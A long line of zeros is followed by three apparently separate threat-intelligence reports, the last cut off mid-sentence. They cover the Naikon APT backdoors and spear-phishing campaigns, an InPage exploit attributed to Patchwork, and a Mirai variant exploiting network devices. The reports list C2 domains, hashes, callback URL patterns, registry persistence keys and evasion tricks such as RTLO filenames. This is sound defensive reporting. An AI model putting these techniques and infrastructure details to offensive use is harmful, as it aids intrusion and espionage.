0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# The MsnMM Campaigns ## The Earliest Naikon APT Campaigns ### Introduction Over time, the Naikon APT appears to have used specific toolsets against organizations within a designated country, as though each campaign was focused on one country. There is sometimes crossover between campaigns in several ways: the backdoors they deliver, the infiltration techniques, and the overall infrastructure. Backdoor functionality can also cross campaigns and tools. For example, sometimes we see an “inject” variant dropping a “sys10” backdoor or a Naikon backdoor dropping a rarstone backdoor. This particular actor is responsible for the MsnMM and Naikon campaigns deploying the following backdoors and tools: - sslMM - winMM - exe_exchange - wininetMM/sakto - inject - sys10 - xsControl/naikon and plugins - rarstone - second stage tools The Naikon group also deployed a lesser-known set of second stage tools. They mixed together legitimate system administration tools with offensive network reconnaissance tools, including a custom network and service scanner and an attack codeset based on old Honker Union codebase shared on Chinese-speaking forums. For years, Naikon downloaders/backdoors were delivered to victim systems with kit-produced CVE-2012-0158 spear-phish. This exploit builder kit was shared amongst multiple APTs, because we see the same exploits dropping tools from various groups. Many of these exploit attachments were blocked by our advanced exploit protection (AEP) on customer systems in Vietnam, Myanmar, the Philippines, and organizations related to the energy sector in these and other ASEAN nations. Some of these backdoors and spear-phish activities also showed up in the Hardore Charlie CEIEC dump. In January 2014, we observed in some targets the increase of “right-to-left-override” (RTLO) naming schemes for initial payload delivery. In addition to its custom toolset, it appears to test freely-distributed tools - in December 2013, it pushed out “Everything32” to victim systems, and TeamViewer was used as well. It is likely that the group faced difficulties when it came up against anti-malware products and tried abusing legitimate tools for anti-malware evasion. Finally, this threat actor deploys a custom PDF binding tool to add to its effective but low-tech toolset. The Naikon attackers can be, and in fact have been, precise in social-engineering their targets. Data collection prior to an attack may have included the following data points: - full names - email addresses and status (active or inactive) - date of birth and age - interests in current events - nationality - gender - previous email and social network communications to and from a target - language spoken Victims of the early campaigns were located mostly throughout Myanmar, Vietnam, Singapore, Laos, Malaysia, and the Philippines. There are other locations where Naikon’s victims can be found, but these countries stand out. To get into target networks, the Naikon APT relied on email as an attack vector. It first compromised victim systems using common spear-phishing techniques, such as CVE-2012-0158 exploit attachments, attachments altered with RTLO techniques, and a combination of icon-spoofing and name padding for executables. The MsnMM campaigns featured ripped images and documents reused for spear-phish decoys, and we see that technique reapplied throughout other Naikon APT campaigns. The winMM components were also delivered to Myanmar victims throughout mid-2013 using RTLO and icon-spoofing techniques and sometimes even simpler icon spoofing + double extension + extra spacing in attachment filenames. For example, many of the Backdoor.Win32.MsnMM.i (winMM) executable filenames maintained almost 200 spaces, looking like this: “letter to Gov office.doc .exe”. The Naikon APT used multiple backdoors presenting a variety of behaviors over time, but clusters of indicators were fairly consistent into 2015. ### Shared Exploit Generation Kit It’s interesting that what appear to be multiple campaigns and crews all use a kit that generates CVE-2012-0158 exploits embedded with arbitrary backdoors for spear-phishing. One of the interesting characteristics of the Naikon APT’s kit-produced shellcode is its runtime function offset calculations and control flow are built to jump past behavior-based protection and sandbox analysis. Each of the Win32 API shellcode calls are carefully executed to land just past function hot patch space and prologues, evading user mode trampolines and hooks. MsnMM, Naikon, and Rarstone backdoors were generally delivered with stock CVE-2012-0158 exploits. Some dropped iph.bat and an “iExplorer.exe” that began with a “WMcal” parameter and profile.dat executable blob loaded into a running IE process. Other APTs use this kit as well. We found Stone Panda Poison Ivy samples delivered with the same CVE-2012-0158 exploits, dropping iph.bat and iExplorer.exe, and running the “iExplorer.exe WMcal” executable filename and parameter. Finally, we found another exploit builder’s template used to attack Korean-speaking targets. It was used across this group and others for building CVE-2012-0158 files, sharing the common author “Tran Duy Linh”. ### Shared Strings, Functionality, Targets, and Infrastructure across Campaigns Multiple Naikon tools used in multiple campaigns shared strings, functionality, a deployment and content focus on ASEAN organizations and other organizations doing business with them, and the infrastructure itself. #### Similar strings While the Naikon backdoor maintained the user-agent string “NOKIAN95/WEB”, it also maintained a debug path: `f:\MyProjects\xServer\Release\xServer.pdb`. Also, the Naikon backdoor’s matching management software is called “xsControl”. Plugins for the Naikon backdoor included a screenshot grabber named xsAdv.dll, and a single export “XS_Screencap”. This debug path in Naikon backdoors is very similar to the debug path maintained in Rarstone backdoors: `g:\MyProjects\xsFunction\Release\DLL.pdb`. The MsnMM campaign backdoors all maintain an “MM” internal name, and the functionality changes when comparing them: - WinMM - WininetMM - SslMM A more recent oddity from this group includes a WinMM dropper with the internal name “Zhixin”, creating a recently compiled Sys10 backdoor. Some “MM” executables maintained debug strings across versions and families: `J:\chong\new\Release\SslMM.exe` and `J:\chong\nod\Release\SslMM.exe`. #### Shared infrastructure Now, let’s take a look at some of the shared infrastructure that helps to tie all of these campaigns together. MsnMM backdoors and Naikon backdoors share portions of infrastructure across campaigns. For a quick example, early MsnMM backdoors like sslMM, and one of the later tools, exe_exchange, share some domains with the nokian95 (Naikon) and sys10 backdoors. Here, you can see a table recording domains that are shared across the backdoors for command and control infrastructure: | Domain | exe_exchange | sys10 | winMM | sslMM | wininetMM/sakto | |---------------------------|--------------|-------|-------|-------|------------------| | ahzx.eicp.net | yes | yes | yes | | | | mncgn.51vip.biz | yes | yes | yes | | | | bkav.imshop.in | | yes | | yes | | | ubaoyouxiang.gicp.net | yes | | yes | yes | yes | | googlemm.vicp.net | | yes | | yes | | | myanmartech.vicp.net | yes | yes | | | yes | ### Correlating Target Profiles with Spearphish and Decoy Content One of the most striking characteristics of this APT is that its targeting interest is revealed by its spear-phish and decoy content. Malicious actors of all stripes, including cybercriminals, have for at least the last ten years abused “hot topics” in their social-engineering content to better attract and mass-exploit victim systems. What is different about the Naikon APT’s use of hot topics in spear-phish and decoy content is that it reveals its specific victims and how these change over time. Precision social engineering seems to be an elevated skill set for the group. A few of the most interesting examples of such content include: a UN discussion and vote on nuclear proliferation and disarmament, the MH370 flight, and construction on the Raytheon-built National Coast Watch Center in the Philippines. For example, in the second week of October 2012, during the gang’s intense ongoing focus on Southeast Asian countries like Cambodia and its diplomats, we find a winMM backdoor detected as "Trojan.Win32.Agent.udtc" in New York City. This verdict identified the Naikon APT’s backdoor on the victim system. The timing is uncanny because, in that same week, speeches and views on nuclear disarmament and non-proliferation were presented by Southeast Asian country delegates to the United Nations in New York City. An example of such a talk is here; a Naikon decoy’s content was strikingly similar. MsnMM campaigns most commonly presented spear-phish exploits targeting CVE-2012-0158. A listing of screenshots reveals the variety of content and themes, all related to events and topics in the ASEAN region. Example titles include: - Letpadaung copper mine.doc - nuclear agreement burma.doc - ALP Statement on Present Illegal Bangali Problem inside Arakan.doc - Calendar Misslao 2013 Free.doc - ASEAN and Partners Firmly Committed to Narrowing the Development Gap.doc - refer to the 11th ACD Ministerial Meeting.doc - Asia’s Military Developments.doc The following example’s content was crafted to appear like a legitimate international agreement discussion. After the malicious document is opened and successfully exploits CVE-2012-0158 on the victim workstation, the exploit code drops and opens this decoy Word document. This next example is written with the Laotian Phetsarath OT font, a decoy attempt to be a legitimate Daily News Brief from the Laotian Foreign Ministry of Affairs. It demonstrates the group’s intentions to hit targets in Laos. In addition to a high volume of files exploiting CVE-2012-0158, the MsnMM attackers for a brief period used RTLO (right to left override) techniques, and then attachments exploiting CVE-2010-3333. An example of RTLO that creates and opens this decoy document to camouflage its malicious background activity, then dropping and executing MsnMM backdoors on its victim system: `UNFC_Statement_final_rcs.pdf`. ### Naikon APT MsnMM Campaign Backdoors and Lateral Movement Toolset #### SslMM MD5 – Filename: 7b1199523a662a3844ba590f83b56dae File Size: 77,824 bytes Compilation date: 2013:01:31 Linker version: 6.0 Path: %temp%\conime.exe The MsnMM gang built and released many more variants of their sslMM creation. The code is a full-featured backdoor. Each variant of this tool starts by attempting to create a socket, and then creates a new thread implementing a fairly complicated keylogging facility not often seen, using Windows Keyboard Accelerators. The backdoor retrieves a large number of victim system data points, which it then uses to check in to its hardcoded C2. The backdoor reports system identification information both to present the victim’s identifying information and to fingerprint the system for asset management: - OS version - Service pack information - Processor speed - System name - Logged-on user name - OS install date One of its more interesting features is the ability to fetch and use certificates from the “My” store on Windows systems. The “My” certificate store is created on a per-user basis, and this is where users’ certificates are stored. It is reserved for each user for signing and decrypting data and encrypting network communications. **Feature list:** - Victim fingerprinting and performance sensitivity - system configuration collection - Persistence - immediately identifying the Start Menu Startup directory and dropping a LNK to its own executable disguised as a “Office Start”, “Yahoo Talk”, “MSN Gaming Zone”, or “MSN Talk” shortcut - Configurable network settings - both a primary and backup C2 string is hard-coded in each backdoor. At this point, we are aware of almost 50 domains and unique IP addresses used to host C2 - Keylogging facility - Windows Accelerators with hidden window and lengthy Accelerator table - Flexible network connectivity - proxy support for use with victim systems situated behind isolated networks - GET and POST network code for exfiltrating system information - Log file capabilities - File search and file write primitives - identifying and collecting sensitive on-disk information - Download and execute further arbitrary downloads - Arbitrary inter-process launch and communication through named pipes - Process privilege and token adjustments - Anti-malware kill-process identification and termination - Digital Certificate stealing and reuse for stealth SSL communications - Network server listener #### WinMM MD5 - Filename: c8c81cca4645e71213f2310cec6c277d File Size: 118,784 bytes Compilation date: 2012.11.01 Linker version: 6.0 Path: %temp%\wuauc1t.exe WinMM is a full-featured, simple backdoor. Its first actions upon installation are to collect user and system data and report them back to the C2 over HTTP. It uses NetUserGetInfo to identify that it is running under an “Admin” account on the local system, then retrieves the system name and the version of the operating system that is running, including its service pack, and collects the system install date from the registry: `\\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate`. These values are built into a single string for reporting. SslMM also maintains this code chunk and functionality but does not immediately invoke it like winMM. Also interesting and different from sslMM are the decoy Word documents dropped by many of the winMM droppers. The documents are all written and formatted with a specially developed Myanmar2 True Type font, demonstrating the focus on politically-connected, native Myanmar speakers as targets. This font is not delivered by default with Microsoft Office. Instead, it must have been specifically installed by the attackers and then by the victims; otherwise, the documents would not have displayed properly. The backdoor maintains multiple primitive functionalities: - Setting a WH_CBT Windows hook for full activity spying (sslMM does not maintain this hooking functionality) - File search and capture - Process creation - Keystroke capture The backdoor is usually configured with primary and backup domains for C2 communications, although there are multiple known samples that maintain an IP address or only a single domain for communications with no backup. Communication is built to appear as though a web browser is simply making a request to a remote web server. Some of these backdoors are configured to use an unusual port for encrypted communications. #### exe_exchange (used in attacks prior to ~2012) MD5 – Filename: 6a82c153bd370250cc2fed89f1bb5c91 File Size: 69,632 bytes Compilation date: 2012-03-13 Linker version: 6.0 Path: %temp%\services.exe #### INJECTv1/INJECTRESOURCE MD5 – Filename: b295274423c91ad9e254475bf8edd459 File Size: 159,744 bytes Compilation date: May 27, 2013 Path: wmiprive.exe #### The xsPlus/nokian backdoor and keylogger MD5 – Filename: d86106faaa398b8d83437176bf5e39c4 File Size: 281,624 bytes Compilation date: 2011.12.19 Linker version: 6.0 In 2014, the Naikon gang was found to be using another tool that maintains an internal name “xsPlus” and “xsControl”. This builder and its backdoors produce components with the “NOKIAN95/WEBx” user-agent strings, for which there are multiple versions. Its functionality is covered in our previous Naikon APT post. ### Naikon and minor links with APT30 Another interesting aspect of the backdoor builder is that it also provides a keylogger plugin that is used on specific victim systems. Here there are minor, but striking, similarities with the APT30 tools. Callback sessions for stolen data include these URLs: - POST /stonehoof.rar/user=xxx&password=xxx - GET /stonehoof.rar/user=xxx&password=xxx Some of the collector components upload data in SQLite3 format, while earlier versions of the tool upload XML formatted data. Presenting a similarity with the APT30 artifacts, their callback domains included stonehoof.com, hosted on several IPs during the Naikon campaigns. This name is very unusual, and it is an odd coincidence that it is shared by two geopolitically-focused cyber-espionage groups, both targeting the South China Sea region. ### Target and Victim Profiles Target profiles included high profile government and military agencies around the South China Sea: - Law enforcement - Government - executive, administrative, regulatory - Military - operations centers - Economic administration - State media - Public/Private energy ### Shared Victims with Cycldek and Comparing Lateral Movement with Cycldek The Cycldek APT appeared to follow an operational script across victim systems. It created or used `c:\intel` on the victim hard disk to unpack tools and compress/archive stolen victim files and data with WinRAR, like `c:\intel\1.rar`. Some of these victim systems were occupied by both the Cycldek and Naikon attackers. The Cycldek attackers maintained this `c:\intel` directory and its subdirectories as a sort of staging point. This mirrors what we have seen with Naikon directory setup on some victims: - a set of subdirectories - stolen files for exfiltration - operational logs - process logs - Cycldek tools and their config files The Naikon APT and Cycldek APT also share a common attraction to Honker Union codebase. ### Spear-phish, dropped files, web browser injection The common sequence of events on a vulnerable system falling for related spear-phish attacks led to a newly-created Internet Explorer process running with execution transferred to additionally loaded executable code, usually profile.dat, maintaining the connectback C2 communication code and data. In this instance, a “Naikon backdoor” was delivered initially as a part of a small package of objects. The exploit attachment dropped iph.bat, iExplorer.exe, and a clean decoy document. The exploit executed this batch file, which in turn executed iExplorer.exe and opened a decoy document from %temp%. The iExplorer.exe process wrote out a profile.dat file, launched the legitimate Internet Explorer, and injected the .dat file into this newly created browser process. It transferred control to the injected .dat code and terminated itself. The .dat code then connected with a hardcoded C2 from within Internet Explorer, a common technique for evading any outbound traffic firewall issues. ### Example spear-phish and dropped sequence for NOKIAN95/WEB sent to web email service provider users in the US and Southeastern Asian region: - Example Word document decoy - Example details, exhibiting the “common” sequence of events on systems: - c334737ea5e8f74567bfdc2fce6717b9,2 SpecialServices.doc - Drops → %temp%\iph.bat - c8ed40879e1e3352692fe8c765294955,%temp%\svchost.exe - c2: frankhere.oicp.net:443 - 1b37457632840b04bf03e0745e51e573,readme.rtf - Drops → %temp%\iph.bat → %temp%\iExplorer.exe WMcal - 6cbc73fae7118dbd0fae328ce8ee6050,iExplorer.exe,Trojan-Downloader.Win32.Cordmix.cu - C2: phsenator.vicp.net - C2: goihang.vicp.net:443 Many of these backdoors were delivered by simply binding decoy PDFs to a Naikon backdoor and sending this bundle to target addresses. Here is a March 2014 spear-phish email with the subject line “Fw: Fw: tape transcript for mh370”: The “tape transcript.zip” file contains both a PDF file and a Naikon dropper name “24march_final_TAPE TRANSC~1” detected as “Trojan-Dropper.Win32.Injector.kasl”. The dropper maintains a clean copy of this decoy PDF that opens on execution, as well as the Naikon backdoor and accompanying mshtml.dat component that communicates with C2 xl.findmy.pw. This dropper is built with the attackers’ “pdfBind 2012” tool. Once extracted to disk, you can see that the icon was replaced for the executable with an Adobe PDF icon. Lots of users fall for this sort of trick when file extensions are not visible. ### Appendix B: Kaspersky Lab Verdict Names Components related to the Naikon APT are detected under a range of verdict names. Below is a listing of the most common: - Backdoor.Win32.MsnMM.* - Backdoor.Win32.MsnMM.a - .af - Backdoor.Win32.Sakto.* - Backdoor.Win32.Sakto.a - .ct - Trojan-Downloader.Win32.Cordmix.* - Trojan-Downloader.Win32.Cordmix.b - Trojan-Downloader.Win32.Cordmix.ch - Trojan-Downloader.Win32.Cordmix.cs - Trojan-Downloader.Win32.Cordmix.ds - HackTool.Win32.Agent.* - HackTool.Win32.Agent.whj - Exploit.MSWord.CVE-2012-0158.* - Exploit.MSWord.CVE-2012-0158.cb - Exploit.MSWord.CVE-2012-0158.ci - Exploit.MSWord.CVE-2012-0158.di - Exploit.MSWord.CVE-2012-0158.dj - Exploit.MSWord.CVE-2012-0158.du - Exploit.MSWord.CVE-2012-0158.eb - Exploit.Win32.CVE-2012-0158.* - Exploit.Win32.CVE-2012-0158.a - Exploit.Win32.CVE-2012-0158.aw - Exploit.Win32.CVE-2012-0158.j - Trojan-Dropper.MSWord.Agent.* - Trojan-Dropper.MSWord.Agent.hc - Exploit.OLE2.CVE-2012-1856.a - HEUR:Exploit.MSWord.CVE-2012-0158.gen - Exploit.OLE2.Toolbar.a - Backdoor.Win32.Agent.* - Backdoor.Win32.Agent.bjer - Backdoor.Win32.Agent.dcyv - Backdoor.Win32.Agent.dfbk - Backdoor.Win32.Agent.dgpd - Backdoor.Win32.Zegost.* - Backdoor.Win32.Zegost.aekr - Trojan.Win32.Agent.* - Trojan.Win32.Agent.acflt - Trojan.Win32.Agent.acfma - Trojan.Win32.Agent.adddt - Trojan.Win32.Agent.hofz - Trojan.Win32.Agent.siai - Trojan.Win32.Agent.spde - Trojan.Win32.Agent.tlhi - Trojan.Win32.Agent.tpbo - Trojan.Win32.Agent.unhn - Trojan.Win32.Agent.xikp - Trojan.Win32.Agentb.* - Trojan.Win32.Agentb.bbca - Trojan.Win32.Agentb.bphx - Trojan.Win32.Agentb.iqj - Trojan.Win32.Agentb.jwp - Trojan-Downloader.Win32.Agent.* - Trojan-Downloader.Win32.Agent.gxqe - Trojan-Downloader.Win32.Agent.zzrd - Trojan-Spy.Win32.Agent.* - Trojan-Spy.Win32.Agent.chrj - Trojan-Spy.Win32.Agent.chuq - Trojan-Spy.Win32.Agent.cibn - Trojan-Spy.Win32.Agent.cicz - Trojan-Spy.Win32.Agent.ciet - Trojan-Spy.Win32.Agent.cifj - Trojan-Spy.Win32.Agent.ciry - Trojan-Spy.Win32.Agent.ciiu - Trojan-Spy.Win32.Agent.cita - Trojan-Spy.Win32.Agent.cjez - Trojan-Spy.Win32.Agent.cjkg - Trojan-Spy.Win32.Agent.cjmv - Trojan.Win32.Pincav.* - Trojan.Win32.Pincav.cngx - Trojan.Win32.Sasfis.* - Trojan.Win32.Sasfis.dmmt - Trojan-Dropper.MSIL.Agent.* - Trojan-Dropper.MSIL.Agent.aidh - Trojan-Dropper.Win32.Dycler.* - Trojan-Dropper.Win32.Dycler.ssr - Trojan-Dropper.Win32.Dycler.sss - Trojan-Dropper.Win32.Injector.* - Trojan-Dropper.Win32.Injector.jujl - Trojan-Dropper.Win32.Injector.kblf - Trojan-Dropper.Win32.Injector.kbre - Trojan.Win32.Zapchast.* - Trojan.Win32.Zapchast.aerr - Trojan.Win32.Zapchast.aest - Trojan.Win32.Zapchast.aetr - Trojan.Win32.Zapchast.aety - Trojan.Win32.Zapchast.aevb - Trojan.Win32.Zapchast.aevg - Trojan.Win32.Zapchast.afma - Trojan.Win32.Zapchast.afcz - HEUR:Trojan.Win32.Generic - HEUR:Trojan.Win32.Invader ### Appendix C: Md5 Reference Set - SslMM: - 469ca0c73398903908babcad14300d8d - 95c4a236faa65b75dbb0076d8248584c - WinMM: - c8c81cca4645e71213f2310cec6c277d - 45a99f60654f22b671aec980687d0f15 - WininetMM/Sakto: - 9883abc829870478ce6f3cfddbcbbaf2 - a5721c5e7f2b49df82595819b5a49c0c - Injectv1/InjectResource: - 5c04904a50f0285851fb7292c13858ec - Exe_Exchange: - 6a82c153bd370250cc2fed89f1bb5c91 - 48fb78e8ba531505e246760c0d02d6b0 - Sys10: - c58df5892700ac3f467524f86bf325c0 - 33d388c6e841ede3920f79516b5da032 - xsPlus (nokian) and plugin: - d86106faaa398b8d83437176bf5e39c4 - 041436594c1ce9e99c569fb7402fe0c7 - d0fba5db608ac8f5a3d05a71ceb0eca1 ### Appendix D: C2 (Domain) Reference Set - ahzx.eicp.net - bkav.imshop.in - googlemm.vicp.net - mncgn.51vip.biz - myanmartech.vicp.net - thailand.vicp.net - ubaoyouxiang.gicp.net - vietnam.gnway.net For full indicator and other details, please contact [email protected].
# Malware Analysis 27-08-19 ## Malware Analysis ### Initial Vector The initial vector is an INP file (format used for the software InPage) with the exploit CVE-2017-12824. We can see here the 0x7E and 0x72 represent a class of type in the stream for use, an OLE stream for launching the first binary file. We can see on the strings in the DLL, it extracts the file in the temp folder and creates a thread for the second PE file. On the entry point of the second PE, we can see the first action is to check the environment using the anti-forensic technique by the `CheckRemoteDebuggerPresent` function. Before going on to the other functions, we can see that the PE gets the name of the user and creates their persistence by a RunOnce key in the registry. ``` \SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Putty explorer.exe CurrentUser C:\file.exe ``` After this, it uses the `CreateToolhelp32snapshot` function for getting a snapshot of all the processes and parses it until it falls on the explorer process. We can note this check with the `IsProcessorFeaturePresent` function, to check if and raise an exception to close the program. Once the check is done, it injects with a Process Hollowing to create a process to communicate with the C2 and wait to load the next malware. At the date of the submission in VT, the C2 is down and the next step can't be analyzed. ### Cyber Kill Chain The process graph resumes the cyber kill chain used by the attacker. ### Cyber Threat Intel Firstly, we can observe that the payload seems to be with the Professional version of InPage (2.21). InPage is currently used in Pakistan, which is consistent with the fact that Patchwork is an Indian APT. Secondly, we can note the same PDB path as the 360TI analysis. The C2 is hosted on Amazon CloudFront: | IP | Hostname | Route | ASN | Organization | |-----------------|--------------------------------------------|--------------------|--------|--------------| | 99.84.194.39 | server-99-84-194-39.lax3.r.cloudfront.net | 99.84.194.0/23 | AS16509| Amazon Inc | This payload is linked to one of the recent events: - A Delegation of Pakistan Naval Academy visits Azerbaijan (5 April 2019) - The visit of Pakistan Air Force Academy delegation in Azerbaijan (20 June 2019) ### References MITRE ATT&CK Matrix List of all the references with MITRE ATT&CK Matrix: | Tactics | Techniques Used | Ref URL | |-------------|-------------------------|----------------------------------------------| | Execution | T1064 - Scripting | https://attack.mitre.org/techniques/T1064 | | | T1060 - Registry | https://attack.mitre.org/techniques/T1060 | | Persistence | Run Keys / Startup Folder | https://attack.mitre.org/techniques/T1060 | | Defense Evasion | T1093 - Process Hollowing | https://attack.mitre.org/techniques/T1093 | | Discovery | T1087 - Account Discovery | https://attack.mitre.org/techniques/T1087 | Note: INP exploit hasn't a current category; the most near category found matching with it is Scripting. ### Indicators Of Compromise (IOC) List of all the Indicators of Compromise (IOC): | Indicator | Description | |------------------------------------|-------------------------------------------| | Azerbaijan delegation to pakistan.inp | c0eeddccddbf23844c5e479a3dcc30713b697fa83d7c13feb79ecf | | bin1.dll | 078e316440a540ed8095d12f154770118e28ca67a32c0fcc514564 | | bin2.exe | 67923d0e9717aec0930ed0e4a3f84b5ba00dee9fc64774be452ce | | go.affec.tv | Domain requested | | 99.84.194.39 | IP C2 | | go.affec.tv | Domain C2 | This can be exported as JSON format. ### Links - Original tweet: https://twitter.com/jsoo/status/1166353584923041798 - Links Anyrun: Azerbaijan delegation to pakistan.inp #### Documents - Recent InPage Exploits Lead to Multiple Malware Families - InPage zero-day exploit used to attack financial institutions in Asia - Analysis Of Targeted Attack Against Pakistan By Exploiting InPage Vulnerability And Related APT Groups - The `CheckRemoteDebuggerPresent()` anti-debugging technique
# New Mirai Variant Targeting Network Security Devices **By Vaibhav Singhal, Ruchna Nigam, Zhibin Zhang, and Asher Davila** **March 15, 2021** **Category: Unit 42** **Tags: CVE-2019-19356, CVE-2020-25506, CVE-2020-26919, CVE-2021-22502, CVE-2021-27561, CVE-2021-27562, IoT, Mirai, VisualDoor, vulnerabilities** ## Executive Summary On Feb. 16, 2021, Unit 42 researchers discovered attacks leveraging a number of vulnerabilities, including: - VisualDoor (a SonicWall SSL-VPN exploit). - CVE-2020-25506 (a D-Link DNS-320 firewall exploit). - CVE-2020-26919 (a Netgear ProSAFE Plus exploit). - Possibly CVE-2019-19356 (a Netis WF2419 wireless router exploit). - Three other IoT vulnerabilities yet to be identified. On Feb. 23, 2021, one of the IPs involved in the attack was updated to serve a Mirai variant leveraging CVE-2021-27561 and CVE-2021-27562, mere hours after vulnerability details were published. On March 3, 2021, the same samples were served from a third IP address, with the addition of an exploit leveraging CVE-2021-22502. Furthermore, on March 13, an exploit targeting CVE-2020-26919 was also incorporated into the samples. The attacks are still ongoing at the time of this writing. Upon successful exploitation, the attackers try to download a malicious shell script, which contains further infection behaviors such as downloading and executing Mirai variants and brute-forcers. Palo Alto Networks Next-Generation Firewall customers with Threat Prevention, WildFire, and URL Filtering security subscriptions, as well as AutoFocus can detect and block all the exploit attempts from this kind of malware family. ## Vulnerabilities Being Exploited Five known vulnerabilities and three unknown vulnerabilities were exploited in this attack. Upon successful exploitation, the `wget` utility is invoked to download a shell script from the malware infrastructure. The shell script then downloads several Mirai binaries compiled for different architectures and executes these downloaded binaries one by one. Vulnerability information is shown in the table below. | ID | Vulnerability | Description | Severity | |----|---------------|-------------|----------| | 1 | VisualDoor | SonicWall SSL-VPN Remote Command Injection Vulnerability | Critical | | 2 | CVE-2020-25506 | D-Link DNS-320 Firewall Remote Command Execution Vulnerability | Critical | | 3 | CVE-2021-27561 and CVE-2021-27562 | Yealink Device Management Pre-Auth ‘root’ Level Remote Code Execution Vulnerability | Critical | | 4 | CVE-2021-22502 | Remote Code Execution Vulnerability in Micro Focus Operation Bridge Reporter (OBR), affecting version 10.40 | Critical | | 5 | CVE-2019-19356 | Resembles the Netis WF2419 Wireless Router Remote Code Execution Vulnerability | High | | 6 | CVE-2020-26919 | Netgear ProSAFE Plus Unauthenticated Remote Code Execution Vulnerability | Critical | | 7 | Unidentified | Remote Command Execution Vulnerability Against an Unknown Target | Unknown | | 8 | Unidentified | Remote Command Execution Vulnerability Against an Unknown Target | Unknown | | 9 | Unknown Vulnerability | Vulnerability Used by Moobot in the Past, Although the Exact Target is Still Unknown | Unknown | ## Exploit Payloads 1. **VisualDoor**: SonicWall SSL-VPN Remote Command Injection Vulnerability The exploit targets an old version of Bash, which is vulnerable to ShellShock. An attacker can send a crafted Common Gateway Interface (CGI) request to a particular shell script leading to an unauthenticated remote code execution (RCE) vulnerability. 2. **CVE-2020-25506**: D-Link DNS-320 Firewall Remote Command Execution Vulnerability The exploit targets a command injection vulnerability in a `system_mgr.cgi` component. The component does not successfully sanitize the value of the HTTP parameters `f_ntp_server`, which in turn leads to arbitrary command execution. 3. **CVE-2021-27561 and CVE-2021-27562**: Yealink Device Management Pre-Auth ‘root’ Level Remote Code Execution Vulnerability The exploit works by chaining a pre-auth Server-Side Request Forgery (SSRF) vulnerability and a command injection vulnerability, making it possible to execute commands as root without authentication, simply by sending an HTTPS request to the remote target. 4. **CVE-2021-22502**: Micro Focus Operation Bridge Reporter (OBR) Remote Code Execution The exploit works due to the unsanitized use of the “username” and “password” parameters in requests made to the LogonResource API. The vulnerability can be exploited to allow unauthenticated RCE as root on the OBR server. 5. **CVE-2019-19356**: Netis WF2419 Wireless Router Remote Code Execution Vulnerability The exploit targets an RCE vulnerability in a diagnostic tool utility. An authenticated attacker can perform command execution via multiple vulnerable parameters such as IP address or domain name. 6. **CVE-2020-26919**: Netgear ProSAFE Plus Unauthenticated Remote Code Execution Vulnerability The exploit targets debug web sections and an attacker can execute system commands through it. This is due to lack of proper checks on access controls leading to RCE with administrator privileges. 7. **Unidentified vulnerability (lang parameter command injection)** The exploit targets a command injection vulnerability in certain components. The component does not successfully sanitize the value of the HTTP parameter `lang`, which in turn leads to arbitrary command execution. 8. **Unidentified vulnerability (key parameter command injection)** The unknown exploit targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection. 9. **Unknown vulnerability (op_type parameter command injection)** This exploit targets the `op_type` parameter, which is not properly sanitized leading to a command injection. It has been observed in the past being used by Moobot, however, the exact target is unknown. ## Malware Behaviors | Binary | Functionality | |--------|---------------| | lolol.sh | After deleting some key folders from the target machine (such as ones containing the existing scheduled jobs, as well as startup scripts), this script downloads the “dark” binaries explained below, saves them to a misleadingly named file “nginx” and tries to run each one. Since the “dark” binaries downloaded are each compiled for a different architecture, only the one compatible with the target machine would actually execute. Following that, it schedules a job that would (supposedly) run every hour to rerun the `lolol.sh` script. However, the cron configuration is incorrect. This would have been an attempt to ensure the process is re-launched in case it crashes or is killed for some other reason. Finally, several packet filter rules are created to block incoming traffic directed at commonly used ports like the standard SSH, HTTP, and telnet ports, among others. This is probably to make maintenance of and remote access to the affected system more challenging for an administrator. In one of the two observed versions of the script, it also downloads and runs the `install.sh` script described below. | | install.sh | This script downloads GoLang v1.9.4 onto the target system and adds it to the system path. In addition, it also installs the GoLang standard SSH package and zmap (a common network-scanning package). It also downloads the “nbrute” binaries and the “combo.txt” file described below. As was the case for the previous script, the “nbrute” binaries downloaded are each compiled for a different architecture, increasing the probability of compatibility with the target machine. Finally, zmap is run to scan port 22, and IPs found with port 22 open are sent as input to the `nbrute` binary. | | nbrute.[arch] | These binaries are written in GoLang and mainly serve the purpose of brute-forcing the various credentials found in “combo.txt” while initiating an SSH connection with a certain IP. | | combo.txt | Plain text file containing numerous combinations of credentials (often default credentials on devices). | | dark.[arch] | These binaries are based on the Mirai codebase, and mainly serve the purpose of propagation – either using the exploits described in the section above, or by 